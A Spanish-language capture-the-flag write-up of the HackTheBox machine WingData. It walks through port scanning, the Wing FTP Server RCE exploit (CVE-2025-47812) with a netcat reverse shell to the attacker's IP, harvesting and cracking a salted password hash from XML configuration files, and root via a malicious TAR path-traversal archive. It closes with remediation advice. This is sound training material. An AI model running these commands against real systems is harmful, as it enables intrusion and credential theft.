HackTheBox

WingData



Key Findings


Durante el análisis de seguridad de la máquina WingData se identificaron las siguientes vulnerabilidades críticas:

  • Wing FTP Server v7.4.3 vulnerable a ejecución remota de código (CVE-2025-47812)
  • Credenciales almacenadas en archivos XML de configuración
  • Hashes SHA-256 con salt débil (WingFTP)
  • Privilegios sudo para ejecución de script Python de respaldo
  • Vulnerabilidad de path traversal en archivo TAR (CVE-2025-4138 y CVE-2025-4517)
  • Escalada de privilegios mediante manipulación de archivos TAR maliciosos

Key Learning Objectives


Los objetivos de aprendizaje clave en esta máquina incluyen:

  • ✅ Port Scanning & Service Enumeration
  • ✅ Virtual Host Discovery & Configuration
  • ✅ Wing FTP Server Exploitation - CVE-2025-47812
  • ✅ XML Configuration File Analysis
  • ✅ SHA-256 Hash Cracking with Salt
  • ✅ Sudo Privilege Analysis
  • ✅ Python TAR Archive Exploitation
  • ✅ Path Traversal Attack - CVE-2025-4138/4517

Reconnaissance & Enumeration


El reconocimiento inicial se realizó utilizando Nmap para identificar puertos abiertos y servicios en ejecución.

❯ sudo nmap -p- --open -n -Pn -vvv -oG ports <IP> --min-rate=2500

Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-12 13:03 +0100
Initiating SYN Stealth Scan at 13:03
Scanning <IP> [65535 ports]
Discovered open port 22/tcp on <IP>
Discovered open port 80/tcp on <IP>
Completed SYN Stealth Scan at 13:04, 52.92s elapsed (65535 total ports)

❯ sudo nmap -p 22,80 -sCV -oN services <IP>

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey: 
|   256 a1:fa:95:8b:d7:56:03:85:e4:45:c9:c7:1e:ba:28:3b (ECDSA)
|_  256 9c:ba:21:1a:97:2f:3a:64:73:c1:4c:1d:ce:65:7a:2f (ED25519)
80/tcp open  http    Apache httpd 2.4.66
|_http-server-header: Apache/2.4.66 (Debian)
|_http-title: Did not follow redirect to http://wingdata.htb/
Service Info: Host: localhost; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Resultados:

  • Puerto 22/tcp: OpenSSH 9.2p1 Debian
  • Puerto 80/tcp: Apache httpd 2.4.66
  • Redirección a: http://wingdata.htb/

Antes de examinar la web, agregamos el dominio al archivo hosts:

❯ echo '<IP> wingdata.htb' | sudo tee -a /etc/hosts


Web Application Assessment


Al acceder a la aplicación web, observamos la página principal de WingData.

Al hacer clic en "Client Portal", nos redirige a http://ftp.wingdata.htb, pero no carga correctamente. Añadimos el subdominio al archivo hosts:

❯ echo '<IP> wingdata.htb ftp.wingdata.htb' | sudo tee /etc/hosts

Ahora podemos acceder al portal FTP donde observamos un formulario de Wing FTP Server.

Identificamos la versión del servicio:

  • Wing FTP Server v7.4.3

Vulnerability Identification


Buscamos exploits disponibles para esta versión específica:

❯ searchsploit wing ftp 7.4.3

----------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                             |  Path
----------------------------------------------------------------------------------------------------------- ---------------------------------
Wing FTP Server 7.4.3 - Unauthenticated Remote Code Execution  (RCE)                                       | multiple/remote/52347.py
----------------------------------------------------------------------------------------------------------- ---------------------------------

Encontramos un exploit para CVE-2025-47812. Lo traemos a nuestro directorio local:

❯ searchsploit -m multiple/remote/52347.py
❯ mv 52347.py exploit.py


Initial Access - RCE Exploitation


Preparamos un listener en nuestro equipo:

❯ nc -lvp 4444

Ejecutamos el exploit para obtener una reverse shell:

❯ python3 exploit.py -u http://ftp.wingdata.htb -c 'nc 10.10.14.5 4444 -e /bin/bash'

Obtenemos acceso exitoso al sistema:

wingftp@wingdata:/opt/wftpserver$ whoami
wingftp


Credential Discovery


Exploramos el sistema y los usuarios existentes:

wingftp@wingdata:/opt/wftpserver$ ls /home
wacky

wingftp@wingdata:/opt/wftpserver$ pwd
/opt/wftpserver

Buscamos archivos que contengan credenciales en el directorio actual:

wingftp@wingdata:/opt/wftpserver$ grep -ril "password" .
./Data/_ADMINISTRATOR/admins.xml
./Data/1/users/maria.xml
./Data/1/users/steve.xml
./Data/1/users/wacky.xml
./Data/1/users/anonymous.xml
./Data/1/users/john.xml
./Data/1/settings.xml
./Data/settings.xml

Examinamos el archivo XML del usuario wacky y encontramos un hash:

wingftp@wingdata:/opt/wftpserver$ cat ./Data/1/users/wacky.xml | grep -i password --color=auto
        <EnablePassword>1</EnablePassword>
        <Password>32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca</Password>
        <PasswordLength>0</PasswordLength>
        <CanChangePassword>0</CanChangePassword>


Hash Cracking


Identificamos el tipo de hash usando hashid:

❯ hashid -m 32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca

Analyzing '32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca'
[+] Snefru-256 
[+] SHA-256 [Hashcat Mode: 1400]
[+] RIPEMD-256 
[+] Haval-256 
[+] GOST R 34.11-94 [Hashcat Mode: 6900]
[+] GOST CryptoPro S-Box 
[+] SHA3-256 [Hashcat Mode: 5000]
[+] Skein-256 
[+] Skein-512(256)

Intentamos crackear con modo 1400, pero sin éxito:

❯ hashcat -m 1400 hash /usr/share/wordlists/rockyou.txt

Buscamos modos similares y encontramos el modo #1410 que requiere salt:

❯ hashcat --example | grep -A 30 -B 30 "Hash mode #1400"

Hash mode #1410
  Name................: sha256($pass.$salt)
  Category............: Raw Hash salted and/or iterated
  Slow.Hash...........: No
  Deprecated..........: No
  Password.Type.......: plain
  Password.Len.Min....: 0
  Password.Len.Max....: 256
  Salt.Type...........: Generic

Buscamos el salt en los archivos de configuración:

wingftp@wingdata:/opt/wftpserver$ grep -ril "salt" .
./Data/1/settings.xml

wingftp@wingdata:/opt/wftpserver$ cat ./Data/1/settings.xml | grep -i salt --color=auto
    <EnablePasswordSalting>1</EnablePasswordSalting>
    <SaltingString>WingFTP</SaltingString>

Formateamos el hash correctamente con el salt:

# Formato: hash:salt
32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca:WingFTP

Crackeamos el hash exitosamente:

❯ hashcat -m 1410 hash /usr/share/wordlists/rockyou.txt

32940defd3c3ef70a2dd44a5301ff984c4742f0baae76ff5b8783994f8a503ca:WingFTP:!#7Blushing^*Bride5

Contraseña encontrada: !#7Blushing^*Bride5


SSH Access & User Flag


Nos conectamos por SSH con las credenciales obtenidas:

❯ ssh wacky@wingdata.htb

wacky@wingdata:~$ whoami
wacky

wacky@wingdata:~$ cat /home/wacky/user.txt


Privilege Escalation Analysis


Verificamos los privilegios sudo del usuario:

wacky@wingdata:~$ sudo -l

Matching Defaults entries for wacky on wingdata:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User wacky may run the following commands on wingdata:
    (root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py *

El usuario puede ejecutar como root un script Python para restaurar backups. Analizamos el script y descubrimos que está relacionado con vulnerabilidades en el manejo de archivos TAR:

  • CVE-2025-4138 (HIGH) - Permite crear symlinks arbitrarios fuera del directorio de extracción con filter="data"
  • CVE-2025-4517 (CRITICAL) - Permite escritura arbitraria de archivos fuera del directorio de extracción con filter="data"

TAR Exploitation - Path Traversal


Creamos un script Python para generar un archivo TAR malicioso que explote la vulnerabilidad de path traversal:

wacky@wingdata:~$ nano /tmp/make_evil.py

Ejecutamos el script para crear el archivo TAR malicioso:

wacky@wingdata:~$ python3 /tmp/make_evil.py

Ejecutamos el script de restauración con privilegios sudo:

wacky@wingdata:~$ sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py -b backup_9999.tar -r restore_evil


Root Access Achievement


Una vez explotada la vulnerabilidad, obtenemos acceso root:

wacky@wingdata:~$ sudo su
root@wingdata:/home/wacky# whoami
root

Obtenemos la flag de root:

root@wingdata:~# cat /root/root.txt



Recomendaciones



Acciones Inmediatas


1. Wing FTP Server Security

  • Actualizar Wing FTP Server a la última versión disponible
  • Aplicar parches de seguridad para CVE-2025-47812
  • Implementar autenticación robusta en todos los servicios FTP
  • Restringir acceso a puertos y servicios no necesarios

2. Credential Management

  • Eliminar credenciales almacenadas en archivos XML de configuración
  • Implementar vault o sistema de gestión de secretos
  • Usar hashes más robustos con salts únicos por usuario
  • Implementar rotación regular de credenciales

3. Sudo Privilege Management

  • Eliminar privilegios sudo innecesarios para scripts de backup
  • Implementar validación estricta de entrada en scripts Python
  • Restringir rutas y operaciones permitidas en scripts de backup
  • Auditar regularmente privilegios sudo de usuarios

4. TAR Archive Handling

  • Actualizar Python y bibliotecas de manejo de archivos TAR
  • Implementar validación de paths antes de extraer archivos
  • Usar filtros seguros para prevenir path traversal
  • Aplicar parches para CVE-2025-4138 y CVE-2025-4517